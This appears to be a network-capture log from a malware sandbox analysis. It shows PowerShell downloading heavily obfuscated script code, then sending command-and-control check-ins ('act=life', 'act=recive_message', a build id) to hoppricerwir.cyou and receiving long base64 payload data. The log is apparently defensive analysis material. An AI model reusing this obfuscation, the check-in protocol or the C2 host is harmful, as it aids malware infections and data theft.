2025-01-09 08:31:18 UTC	1369	IN	Data Raw: 55 53 73 52 70 6e 75 54 64 34 41 45 4e 62 64 49 62 47 79 69 57 55 4e 4d 73 38 37 35 43 41 45 55 62 67 63 5a 59 64 6f 63 43 78 78 58 47 35 71 6e 49 20 3d 20 28 24 4c 4e 77 56 41 53 79 41 70 73 35 64 36 47 6a 53 4a 50 35 78 47 4f 53 33 55 38 6f 57 71 74 4d 30 71 61 37 62 5a 68 49 73 30 70 49 59 79 47 73 48 73 71 61 70 37 35 44 76 36 50 47 47 73 54 37 6a 4c 51 4b 54 34 55 62 51 49 66 51 57 65 59 77 73 62 72 5a 4a 4c 78 6b 69 42 65 69 30 71 4a 77 36 78 66 4f 55 39 6b 59 79 42 4b 75 4e 43 56 34 6c 79 46 61 51 54 65 4d 50 74 78 57 6e 54 45 68 47 6a 59 43 49 41 6f 48 4f 42 57 75 57 6d 4f 39 33 77 54 44 39 32 49 31 35 73 7a 43 64 33 75 41 57 58 72 42 33 36 4c 67 32 74 61 65 74 43 78 61 32 6c 41 6a 30 36 51 49 57 78 49 6d 49 58 58 59 7a 31 30 38 36 67 78 73 62 6e Data Ascii: USsRpnuTd4AENbdIbGyiWUNMs875CAEUbgcZYdocCxxXG5qnI = ($LNwVASyAps5d6GjSJP5xGOS3U8oWqtM0qa7bZhIs0pIYyGsHsqap75Dv6PGGsT7jLQKT4UbQIfQWeYwsbrZJLxkiBei0qJw6xfOU9kYyBKuNCV4lyFaQTeMPtxWnTEhGjYCIAoHOBWuWmO93wTD92I15szCd3uAWXrB36Lg2taetCxa2lAj06QIWxImIXXYz1086gxsbn
2025-01-09 08:31:18 UTC	1369	IN	Data Raw: 48 76 77 6e 77 66 4b 70 52 20 2d 20 37 33 29 20 2a 20 28 28 28 31 30 39 20 2d 20 24 4d 6c 4a 57 6a 72 59 70 29 20 2d 20 2d 38 38 34 31 37 29 29 29 20 2d 20 34 37 31 29 20 2d 20 24 4c 6b 56 48 53 56 73 46 6b 68 29 20 2b 20 2d 36 29 29 20 2a 20 28 28 28 28 28 32 38 38 20 2a 20 2d 34 29 20 2b 20 38 29 20 2a 20 24 4c 6b 56 48 53 56 73 46 6b 68 29 20 2b 20 2d 33 30 31 36 37 33 29 20 2d 20 2d 33 38 38 37 38 29 29 0d 0a 24 61 4e 70 54 6e 63 6a 76 61 70 4a 20 3d 20 28 28 28 28 28 2d 31 20 2b 20 36 39 39 34 33 37 29 20 2d 20 33 30 30 32 35 29 20 2d 20 24 79 64 6f 54 57 6b 66 48 29 29 20 2b 20 28 28 28 28 28 24 61 4e 70 54 6e 63 6a 76 61 70 4a 20 2b 20 37 29 20 2d 20 2d 33 37 38 29 20 2b 20 39 33 37 37 35 39 29 20 2b 20 2d 31 38 32 29 20 2b 20 31 31 36 37 32 29 29 Data Ascii: HvwnwfKpR - 73) * (((109 - $MlJWjrYp) - -88417))) - 471) - $LkVHSVsFkh) + -6)) * (((((288 * -4) + 8) * $LkVHSVsFkh) + -301673) - -38878))$aNpTncjvapJ = (((((-1 + 699437) - 30025) - $ydoTWkfH)) + ((((($aNpTncjvapJ + 7) - -378) + 937759) + -182) + 11672))
2025-01-09 08:31:18 UTC	1369	IN	Data Raw: 79 64 6f 54 57 6b 66 48 29 20 2d 20 24 7a 64 54 6d 50 43 69 64 6a 45 29 20 2d 20 24 61 4e 70 54 6e 63 6a 76 61 70 4a 29 29 29 20 2a 20 24 72 52 48 76 77 6e 77 66 4b 70 52 29 20 2d 20 24 41 75 51 64 42 48 67 5a 6b 29 20 2a 20 24 46 4b 75 76 62 58 5a 4f 45 76 5a 29 0d 0a 24 7a 43 49 55 6a 55 55 42 59 20 3d 20 28 28 28 28 24 5a 6f 6d 77 5a 6f 20 2b 20 24 7a 43 49 55 6a 55 55 42 59 29 20 2a 20 2d 39 30 39 35 29 20 2a 20 28 28 28 28 28 37 39 38 20 2a 20 24 5a 46 51 72 71 73 48 53 69 46 4d 29 20 2d 20 24 51 6f 66 70 6c 68 4e 66 29 20 2b 20 2d 35 35 39 29 20 2a 20 2d 34 29 29 29 20 2b 20 24 79 64 6f 54 57 6b 66 48 29 0d 0a 24 62 68 63 78 7a 63 5a 20 3d 20 28 28 28 28 24 79 64 6f 54 57 6b 66 48 20 2d 20 36 39 34 31 32 36 29 20 2a 20 2d 31 39 32 39 34 29 29 20 2a Data Ascii: ydoTWkfH) - $zdTmPCidjE) - $aNpTncjvapJ))) * $rRHvwnwfKpR) - $AuQdBHgZk) * $FKuvbXZOEvZ)$zCIUjUUBY = (((($ZomwZo + $zCIUjUUBY) * -9095) * (((((798 * $ZFQrqsHSiFM) - $QofplhNf) + -559) * -4))) + $ydoTWkfH)$bhcxzcZ = (((($ydoTWkfH - 694126) * -19294)) *
2025-01-09 08:31:18 UTC	1369	IN	Data Raw: 29 20 2a 20 24 61 4e 70 54 6e 63 6a 76 61 70 4a 29 29 20 2a 20 28 28 28 28 28 24 57 54 79 63 6a 62 51 4f 65 20 2a 20 24 7a 64 54 6d 50 43 69 64 6a 45 29 20 2a 20 2d 39 29 20 2a 20 24 4d 6c 4a 57 6a 72 59 70 29 29 20 2a 20 28 28 28 24 7a 64 54 6d 50 43 69 64 6a 45 20 2a 20 28 28 28 28 28 28 24 62 68 63 78 7a 63 5a 20 2a 20 39 30 29 20 2d 20 2d 31 29 20 2b 20 34 33 34 34 38 29 20 2a 20 24 7a 43 49 55 6a 55 55 42 59 29 20 2a 20 24 57 54 79 63 6a 62 51 4f 65 29 29 29 20 2a 20 24 4a 4f 44 72 72 75 29 20 2a 20 28 28 28 28 28 24 6e 6e 73 6c 73 6c 42 53 67 20 2a 20 37 32 36 29 20 2d 20 2d 39 37 36 30 29 20 2d 20 30 29 20 2d 20 2d 32 33 36 32 29 29 29 29 29 0d 0a 69 66 20 28 28 24 62 68 63 78 7a 63 5a 20 2d 6c 74 20 24 58 72 56 4b 4c 4a 29 20 2d 6f 72 20 28 37 39 Data Ascii: ) * $aNpTncjvapJ)) * ((((($WTycjbQOe * $zdTmPCidjE) * -9) * $MlJWjrYp)) * ((($zdTmPCidjE * (((((($bhcxzcZ * 90) - -1) + 43448) * $zCIUjUUBY) * $WTycjbQOe))) * $JODrru) * ((((($nnslslBSg * 726) - -9760) - 0) - -2362)))))if (($bhcxzcZ -lt $XrVKLJ) -or (79
2025-01-09 08:31:18 UTC	1369	IN	Data Raw: 6f 59 57 20 3d 20 35 0d 0a 77 68 69 6c 65 20 28 24 44 4c 45 50 4f 4f 4b 6f 59 57 20 2d 67 74 20 30 29 20 7b 0d 0a 20 20 20 20 69 66 20 28 28 24 7a 64 54 6d 50 43 69 64 6a 45 20 2d 6e 65 20 33 39 34 29 20 2d 61 6e 64 20 28 24 57 54 79 63 6a 62 51 4f 65 20 2d 65 71 20 2d 35 29 20 2d 61 6e 64 20 28 24 51 6f 66 70 6c 68 4e 66 20 2d 6e 65 20 24 4a 4f 44 72 72 75 29 20 2d 61 6e 64 20 28 34 37 20 2d 6e 65 20 31 34 29 29 20 7b 0d 0a 20 20 20 24 47 67 6a 64 54 56 54 4e 50 63 20 3d 20 28 28 28 24 67 68 66 64 72 6f 66 20 2d 20 36 37 38 33 29 20 2a 20 2d 39 33 31 37 29 20 2d 20 36 31 38 36 32 29 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 69 66 20 28 28 31 39 32 32 20 2d 65 71 20 24 61 4e 70 54 6e 63 6a 76 61 70 4a 29 20 2d 6f 72 20 28 24 6a 7a 79 6a 58 58 61 6c 59 Data Ascii: oYW = 5while ($DLEPOOKoYW -gt 0) { if (($zdTmPCidjE -ne 394) -and ($WTycjbQOe -eq -5) -and ($QofplhNf -ne $JODrru) -and (47 -ne 14)) { $GgjdTVTNPc = ((($ghfdrof - 6783) * -9317) - 61862) } if ((1922 -eq $aNpTncjvapJ) -or ($jzyjXXalY
2025-01-09 08:31:18 UTC	1369	IN	Data Raw: 28 28 28 28 28 28 2d 37 35 31 20 2d 20 24 57 54 79 63 6a 62 51 4f 65 29 20 2a 20 24 61 4e 70 54 6e 63 6a 76 61 70 4a 29 20 2b 20 24 4a 4f 44 72 72 75 29 20 2d 20 24 4b 56 48 6f 6a 56 52 6b 6f 29 20 2a 20 31 31 37 38 29 29 29 20 2a 20 24 47 67 6a 64 54 56 54 4e 50 63 29 0d 0a 20 20 20 20 20 20 69 66 20 28 28 2d 34 38 36 20 2d 65 71 20 24 67 68 66 64 72 6f 66 29 20 2d 6f 72 20 28 37 34 30 31 36 20 2d 67 65 20 2d 35 36 37 33 34 30 29 20 2d 6f 72 20 28 2d 37 38 37 37 20 2d 67 74 20 24 4c 6b 56 48 53 56 73 46 6b 68 29 29 20 7b 0d 0a 20 20 20 20 20 24 73 4f 65 4b 49 59 44 4b 71 65 59 20 3d 20 28 28 28 38 38 35 20 2d 20 2d 31 37 30 31 35 39 29 20 2d 20 24 72 52 48 76 77 6e 77 66 4b 70 52 29 20 2a 20 24 7a 43 49 55 6a 55 55 42 59 29 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: ((((((-751 - $WTycjbQOe) * $aNpTncjvapJ) + $JODrru) - $KVHojVRko) * 1178))) * $GgjdTVTNPc) if ((-486 -eq $ghfdrof) -or (74016 -ge -567340) -or (-7877 -gt $LkVHSVsFkh)) { $sOeKIYDKqeY = (((885 - -170159) - $rRHvwnwfKpR) * $zCIUjUUBY)
2025-01-09 08:31:18 UTC	1369	IN	Data Raw: 29 20 2d 20 28 28 24 51 6f 66 70 6c 68 4e 66 20 2a 20 24 58 72 56 4b 4c 4a 29 20 2d 20 2d 37 31 35 29 29 0d 0a 7d 20 65 6c 73 65 20 7b 0d 0a 24 59 51 55 69 6d 48 48 77 20 3d 20 28 28 39 38 33 20 2d 20 28 28 28 24 61 4e 70 54 6e 63 6a 76 61 70 4a 20 2b 20 24 41 75 51 64 42 48 67 5a 6b 29 20 2d 20 2d 32 32 38 32 31 29 29 29 20 2d 20 2d 37 30 38 38 33 29 0d 0a 7d 0d 0a 24 6e 46 43 67 72 43 71 49 45 4e 76 20 3d 20 28 28 28 24 67 68 66 64 72 6f 66 20 2d 20 28 28 28 28 2d 36 38 39 37 30 20 2d 20 28 28 28 28 28 28 28 2d 35 34 39 30 34 38 20 2a 20 28 28 28 28 28 28 34 30 20 2a 20 24 6a 7a 79 6a 58 58 61 6c 59 29 20 2a 20 24 59 51 55 69 6d 48 48 77 29 20 2b 20 24 5a 46 51 72 71 73 48 53 69 46 4d 29 20 2a 20 2d 34 29 20 2b 20 24 6a 7a 79 6a 58 58 61 6c 59 29 29 29 Data Ascii: ) - (($QofplhNf * $XrVKLJ) - -715))} else {$YQUimHHw = ((983 - ((($aNpTncjvapJ + $AuQdBHgZk) - -22821))) - -70883)}$nFCgrCqIENv = ((($ghfdrof - ((((-68970 - (((((((-549048 * ((((((40 * $jzyjXXalY) * $YQUimHHw) + $ZFQrqsHSiFM) * -4) + $jzyjXXalY)))
2025-01-09 08:31:18 UTC	1369	IN	Data Raw: 4c 73 4e 47 7a 6e 72 7a 29 20 2a 20 34 29 20 2a 20 24 7a 43 49 55 6a 55 55 42 59 29 29 20 2b 20 28 28 24 4c 6b 56 48 53 56 73 46 6b 68 20 2d 20 24 76 56 4b 65 64 50 61 42 29 20 2b 20 33 35 31 29 29 0d 0a 7d 0d 0a 20 20 20 20 20 24 51 4e 74 7a 43 42 2d 2d 0d 0a 7d 0d 0a 24 73 4f 65 4b 49 59 44 4b 71 65 59 20 3d 20 28 28 24 47 67 6a 64 54 56 54 4e 50 63 20 2d 20 28 28 28 28 24 56 41 78 50 51 48 20 2a 20 24 56 41 78 50 51 48 29 20 2a 20 38 33 33 29 20 2d 20 24 59 51 55 69 6d 48 48 77 29 29 29 20 2d 20 2d 38 29 0d 0a 69 66 20 28 28 24 5a 6f 6d 77 5a 6f 20 2d 65 71 20 2d 32 32 33 29 20 2d 6f 72 20 28 2d 33 37 20 2d 67 65 20 33 37 38 29 29 20 7b 0d 0a 20 24 62 68 63 78 7a 63 5a 20 3d 20 28 28 28 28 28 24 5a 6f 6d 77 5a 6f 20 2d 20 28 28 28 28 2d 36 20 2a 20 24 Data Ascii: LsNGznrz) * 4) * $zCIUjUUBY)) + (($LkVHSVsFkh - $vVKedPaB) + 351))} $QNtzCB--}$sOeKIYDKqeY = (($GgjdTVTNPc - (((($VAxPQH * $VAxPQH) * 833) - $YQUimHHw))) - -8)if (($ZomwZo -eq -223) -or (-37 -ge 378)) { $bhcxzcZ = ((((($ZomwZo - ((((-6 * $
2025-01-09 08:31:18 UTC	189	IN	Data Raw: 20 24 5a 46 51 72 71 73 48 53 69 46 4d 29 29 29 29 20 2a 20 2d 32 35 35 36 34 37 29 20 2d 20 24 46 4b 75 76 62 58 5a 4f 45 76 5a 29 20 2d 20 24 62 68 63 78 7a 63 5a 29 20 2b 20 24 61 4e 70 54 6e 63 6a 76 61 70 4a 29 0d 0a 7d 0d 0a 24 79 49 70 45 4d 55 4f 63 46 20 3d 20 28 28 28 28 28 2d 36 39 20 2d 20 28 28 28 28 2d 39 36 38 38 20 2d 20 24 4d 6c 4a 57 6a 72 59 70 29 20 2d 20 2d 32 39 32 29 20 2d 20 24 59 51 55 69 6d 48 48 77 29 29 29 20 2b 20 28 28 28 28 31 20 2a 20 28 28 28 28 28 28 39 35 20 2a 20 24 6e 46 43 67 72 43 71 49 45 4e 76 29 20 2a 20 28 28 28 24 6c Data Ascii: $ZFQrqsHSiFM)))) * -255647) - $FKuvbXZOEvZ) - $bhcxzcZ) + $aNpTncjvapJ)}$yIpEMUOcF = (((((-69 - ((((-9688 - $MlJWjrYp) - -292) - $YQUimHHw))) + ((((1 * ((((((95 * $nFCgrCqIENv) * ((($l

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49992	104.21.32.1	443	8108	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 08:32:50 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: hoppricerwir.cyou
2025-01-09 08:32:50 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2025-01-09 08:33:10 UTC	1131	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 08:33:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nothf8l10lms4van31bjqoeqqe; expires=Mon, 05 May 2025 02:19:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=I1lh25QqtoSH8Fcy9mGZDxwUrJhUznT8KBuN8E0J3tHy2DChlFIiP09L%2Fpyh5IS0Z%2BgCa%2BiIf97ibPhPWrtixKIIlqhmcGYQN5KxOjoJYcjjAnnra8wMfUPSHAH5QibvHcLFlA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff3143c6ae58cda-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1799&min_rtt=1797&rtt_var=678&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=908&delivery_rate=1610590&cwnd=242&unsent_bytes=0&cid=a5193ff548728c90&ts=20048&x=0"
2025-01-09 08:33:10 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2025-01-09 08:33:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49993	104.21.32.1	443	8108	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 08:33:11 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 48 Host: hoppricerwir.cyou
2025-01-09 08:33:11 UTC	48	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 79 4a 45 63 61 47 2d 2d 73 69 6e 67 6c 37 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=yJEcaG--singl7&j=
2025-01-09 08:33:11 UTC	1135	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 08:33:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3au23dddtra5u2j7ejm97hsesg; expires=Mon, 05 May 2025 02:19:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FkfoKRkI6TyDXyucd3ET40Fl%2B%2BT5ndZ7AsaRidVwkyukI%2BE2dlYN27ZGEPR7c3zTV4UX7CNfWImmW5ANkE97oDUHlBFeE1nffv%2BAvrEjJ414O9UjG2IsExWZ7prNWi5YQbL%2FWg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff314bc9de61875-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1697&min_rtt=1693&rtt_var=643&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2843&recv_bytes=949&delivery_rate=1690793&cwnd=153&unsent_bytes=0&cid=69c21b245588d56c&ts=439&x=0"
2025-01-09 08:33:11 UTC	234	IN	Data Raw: 32 64 33 65 0d 0a 52 51 54 36 51 36 39 37 47 75 55 4f 37 4f 33 66 78 64 48 66 75 4b 46 6c 76 4b 73 74 71 58 6b 2b 61 44 34 54 49 71 70 51 36 6d 6f 2b 4a 6f 78 68 6c 55 38 32 78 33 32 4a 7a 2b 57 78 6f 36 72 64 6a 55 66 64 7a 77 2b 54 48 31 38 45 54 58 59 4f 69 43 61 48 53 48 39 69 6d 79 2f 63 48 6a 62 48 61 35 54 50 35 5a 36 71 2f 64 33 50 52 34 61 4a 53 4d 4d 62 58 77 52 63 63 6b 6e 46 49 49 59 4a 4c 57 69 64 4b 38 6f 59 66 6f 52 69 67 59 69 36 6f 4c 43 31 31 73 67 49 31 4d 59 50 68 56 74 62 45 68 77 70 41 4f 63 31 6e 67 73 49 5a 59 6b 6f 6a 51 59 32 6e 69 79 4a 67 2f 33 2f 38 37 37 64 77 77 6e 61 7a 30 62 42 45 56 59 4d 58 58 64 49 32 6a 6d 4d 41 69 31 6d 6e 69 72 41 45 57 71 4a 61 49 61 44 Data Ascii: 2d3eRQT6Q697GuUO7O3fxdHfuKFlvKstqXk+aD4TIqpQ6mo+JoxhlU82x32Jz+Wxo6rdjUfdzw+TH18ETXYOiCaHSH9imy/cHjbHa5TP5Z6q/d3PR4aJSMMbXwRccknFIIYJLWidK8oYfoRigYi6oLC11sgI1MYPhVtbEhwpAOc1ngsIZYkojQY2niyJg/3/877dwwnaz0bBEVYMXXdI2jmMAi1mnirAEWqJaIaD
2025-01-09 08:33:11 UTC	1369	IN	Data Raw: 76 4b 71 77 2f 5a 53 44 41 4d 61 4a 46 34 74 49 62 67 6c 4e 59 46 58 46 49 6f 35 49 4f 43 69 42 59 63 6f 56 4f 4e 38 73 68 6f 4f 7a 6f 72 43 79 33 63 49 48 7a 4d 5a 50 79 42 4e 55 44 6c 5a 2b 54 38 63 38 67 67 38 76 62 35 38 75 79 68 46 2b 69 47 2f 4f 77 66 32 67 71 2f 32 43 67 79 66 4f 79 6b 7a 66 46 6b 31 4b 51 7a 39 5a 69 44 57 45 53 48 38 6d 6e 69 2f 4d 46 48 69 56 5a 49 57 45 75 4c 57 34 74 4e 66 4f 42 39 50 44 51 4d 67 62 57 77 42 57 66 6b 72 4d 50 34 55 4f 4a 32 62 59 62 34 30 65 59 4d 63 30 7a 71 79 34 74 37 53 78 7a 49 45 39 6e 74 59 42 30 6c 74 62 42 68 77 70 41 4d 41 33 69 77 73 73 61 5a 73 70 78 67 74 34 6c 57 71 44 69 71 2b 68 74 72 50 51 77 42 58 55 78 30 6e 49 45 6c 63 44 57 58 5a 45 69 48 7a 49 44 7a 38 6d 77 47 48 73 46 48 4f 4c 5a 70 6d Data Ascii: vKqw/ZSDAMaJF4tIbglNYFXFIo5IOCiBYcoVON8shoOzorCy3cIHzMZPyBNUDlZ+T8c8gg8vb58uyhF+iG/Owf2gq/2CgyfOykzfFk1KQz9ZiDWESH8mni/MFHiVZIWEuLW4tNfOB9PDQMgbWwBWfkrMP4UOJ2bYb40eYMc0zqy4t7SxzIE9ntYB0ltbBhwpAMA3iwssaZspxgt4lWqDiq+htrPQwBXUx0nIElcDWXZEiHzIDz8mwGHsFHOLZpm
2025-01-09 08:33:11 UTC	1369	IN	Data Raw: 61 2f 61 7a 78 58 53 77 30 6e 45 46 6c 42 4b 45 6a 46 48 30 48 4c 51 53 41 31 6c 6a 43 4c 48 57 30 32 45 59 6f 43 49 71 2b 65 73 38 38 4f 44 41 4e 4b 4a 46 34 73 57 58 51 4a 61 59 30 2f 46 4d 59 59 47 4b 47 4f 58 4b 63 30 5a 64 59 4a 6f 68 59 53 2b 71 72 65 76 30 4d 4d 50 32 38 68 46 77 56 73 53 53 6c 74 70 41 4a 42 79 75 52 38 73 4a 4b 30 69 77 78 64 2f 6b 53 79 52 77 61 54 6e 74 4c 47 61 6d 30 66 54 77 55 72 4f 46 46 30 41 55 6e 52 4b 78 44 71 47 43 7a 56 70 6e 43 48 42 45 58 4b 4b 59 6f 71 48 74 4b 79 34 75 39 72 43 44 5a 36 48 44 38 77 44 48 46 49 63 52 55 66 45 50 34 64 4b 45 6d 57 57 4c 38 6f 50 4f 4a 67 69 6c 38 2b 36 71 2f 50 6c 6d 73 38 4f 33 73 4a 46 7a 78 74 62 42 31 6c 79 52 38 73 2f 6a 77 49 70 59 5a 77 74 78 42 52 2b 68 32 75 4b 69 71 2b 69 Data Ascii: a/azxXSw0nEFlBKEjFH0HLQSA1ljCLHW02EYoCIq+es88ODANKJF4sWXQJaY0/FMYYGKGOXKc0ZdYJohYS+qrev0MMP28hFwVsSSltpAJByuR8sJK0iwxd/kSyRwaTntLGam0fTwUrOFF0AUnRKxDqGCzVpnCHBEXKKYoqHtKy4u9rCDZ6HD8wDHFIcRUfEP4dKEmWWL8oPOJgil8+6q/Plms8O3sJFzxtbB1lyR8s/jwIpYZwtxBR+h2uKiq+i
2025-01-09 08:33:11 UTC	1369	IN	Data Raw: 67 79 30 4e 38 50 31 46 56 46 53 6c 74 39 41 4a 42 79 67 51 45 31 61 4a 59 6f 77 42 39 77 67 47 4b 44 68 4c 75 73 74 4c 72 63 7a 67 2f 54 7a 45 7a 4b 48 31 59 59 58 33 70 4b 78 54 6a 49 52 6d 64 68 67 47 47 56 57 56 2b 4c 52 5a 36 55 72 37 48 7a 6f 70 54 61 52 39 6e 46 44 35 4e 62 58 77 56 56 66 6b 6a 41 50 59 63 4d 4b 57 43 65 4c 4d 67 57 63 70 56 6b 67 49 4b 32 71 4c 69 76 32 73 34 44 30 73 31 48 77 42 45 63 52 42 78 32 57 49 68 71 79 44 30 71 61 5a 67 69 32 31 6c 6e 79 58 58 4f 69 4c 48 6e 36 2f 33 57 7a 51 66 52 78 55 50 41 45 31 30 47 55 6e 5a 46 77 54 71 41 47 69 5a 69 6b 43 44 44 46 6e 6d 44 61 59 75 4c 75 71 4f 31 73 70 71 4e 52 39 6e 52 44 35 4e 62 63 79 31 70 4d 32 48 79 63 70 64 47 50 69 61 66 4c 59 31 42 4f 49 74 76 67 6f 65 79 6f 62 71 78 30 Data Ascii: gy0N8P1FVFSlt9AJBygQE1aJYowB9wgGKDhLustLrczg/TzEzKH1YYX3pKxTjIRmdhgGGVWV+LRZ6Ur7HzopTaR9nFD5NbXwVVfkjAPYcMKWCeLMgWcpVkgIK2qLiv2s4D0s1HwBEcRBx2WIhqyD0qaZgi21lnyXXOiLHn6/3WzQfRxUPAE10GUnZFwTqAGiZikCDDFnmDaYuLuqO1spqNR9nRD5Nbcy1pM2HycpdGPiafLY1BOItvgoeyobqx0
2025-01-09 08:33:11 UTC	1369	IN	Data Raw: 44 52 4d 38 59 57 41 39 54 63 45 48 4f 49 49 38 42 4e 57 69 56 4c 73 55 52 63 59 5a 6f 69 34 4b 37 71 37 6d 38 33 63 30 4a 31 6f 6b 42 69 78 78 45 53 67 51 78 59 64 67 70 6d 68 34 71 52 35 55 75 6a 51 59 32 6e 69 79 4a 67 2f 33 2f 38 37 54 49 78 77 72 4d 77 45 6a 46 46 46 38 59 58 58 78 4c 32 6a 57 48 44 43 42 71 6e 69 37 4c 47 48 32 4e 59 49 6d 4b 74 71 69 2f 2f 5a 53 44 41 4d 61 4a 46 34 73 31 56 78 6c 4c 63 6b 37 44 4a 4a 4e 49 4f 43 69 42 59 63 6f 56 4f 4e 38 73 6a 59 53 32 6f 37 4f 78 32 73 63 4b 33 74 74 41 7a 42 78 56 41 55 35 37 52 38 38 35 67 41 4d 6f 59 49 6f 74 77 77 74 39 6c 58 37 4f 77 66 32 67 71 2f 32 43 67 7a 48 5a 32 56 2f 49 57 57 30 63 58 32 64 4c 78 54 37 49 46 32 6c 2f 32 43 62 42 57 53 44 48 61 6f 47 47 76 71 69 79 74 4e 62 4f 41 74 Data Ascii: DRM8YWA9TcEHOII8BNWiVLsURcYZoi4K7q7m83c0J1okBixxESgQxYdgpmh4qR5UujQY2niyJg/3/87TIxwrMwEjFFF8YXXxL2jWHDCBqni7LGH2NYImKtqi//ZSDAMaJF4s1VxlLck7DJJNIOCiBYcoVON8sjYS2o7Ox2scK3ttAzBxVAU57R885gAMoYIotwwt9lX7Owf2gq/2CgzHZ2V/IWW0cX2dLxT7IF2l/2CbBWSDHaoGGvqiytNbOAt
2025-01-09 08:33:11 UTC	1369	IN	Data Raw: 49 31 63 45 62 6e 4a 62 69 43 33 47 45 57 64 68 6c 47 47 56 57 58 75 41 62 34 2b 46 74 4b 75 38 75 74 37 52 44 64 6e 62 54 73 6f 51 55 51 5a 63 66 45 33 43 4d 34 45 46 4b 32 75 66 4a 73 49 63 4f 4d 6b 73 69 5a 66 39 2f 2f 4f 63 31 38 67 4c 68 5a 4d 50 31 46 56 46 53 6c 74 39 41 4a 42 79 69 41 49 69 62 4a 55 69 77 68 70 71 68 6d 71 63 6a 37 43 74 6f 62 66 52 78 67 72 54 78 45 7a 4e 48 56 63 47 54 6e 68 41 79 7a 6e 49 52 6d 64 68 67 47 47 56 57 56 75 51 65 6f 53 49 73 62 47 34 76 4e 6e 56 43 73 36 4a 41 59 73 4b 57 78 73 63 4b 56 62 59 4a 59 38 58 61 58 2f 59 4a 73 46 5a 49 4d 64 71 68 34 6d 36 6f 62 32 76 33 38 55 49 30 63 42 47 7a 78 4e 66 43 6c 68 31 52 38 30 78 68 41 4d 67 5a 5a 63 6c 78 42 64 78 69 43 7a 41 7a 37 71 2f 38 2b 57 61 34 68 7a 64 78 55 4b Data Ascii: I1cEbnJbiC3GEWdhlGGVWXuAb4+FtKu8ut7RDdnbTsoQUQZcfE3CM4EFK2ufJsIcOMksiZf9//Oc18gLhZMP1FVFSlt9AJByiAIibJUiwhpqhmqcj7CtobfRxgrTxEzNHVcGTnhAyznIRmdhgGGVWVuQeoSIsbG4vNnVCs6JAYsKWxscKVbYJY8XaX/YJsFZIMdqh4m6ob2v38UI0cBGzxNfClh1R80xhAMgZZclxBdxiCzAz7q/8+Wa4hzdxUK
2025-01-09 08:33:11 UTC	1369	IN	Data Raw: 56 55 78 44 6f 67 31 6b 45 68 2f 4a 72 67 71 32 78 78 2f 6b 53 36 37 6a 4c 4f 70 74 4b 75 61 33 44 69 51 69 55 44 52 57 77 51 7a 52 54 46 48 78 48 4c 51 53 44 4a 68 6d 43 62 58 44 33 2b 4c 66 59 57 43 73 59 57 38 75 73 7a 41 43 4e 33 59 52 6f 63 51 55 55 6f 53 4d 55 66 51 63 74 42 49 43 47 47 4f 49 75 49 61 61 59 34 73 77 4d 2b 36 73 66 50 6c 6d 76 31 48 7a 4d 70 66 79 42 52 4e 4e 42 77 70 57 66 5a 79 67 78 34 67 64 70 73 33 78 68 52 30 6c 6c 4c 4f 31 2b 6e 31 34 65 2b 49 6b 52 69 65 31 6e 43 46 57 31 31 4b 42 45 68 5a 69 43 54 49 55 48 55 6f 32 44 4f 4e 51 54 6a 41 62 35 79 64 75 36 53 6c 76 70 33 39 4f 66 6e 66 52 63 77 4c 57 78 31 54 4d 51 36 49 50 63 68 51 48 69 61 52 4a 74 59 49 62 6f 70 38 69 63 2b 43 36 66 4f 6c 6d 70 74 48 36 38 70 42 78 52 78 4b Data Ascii: 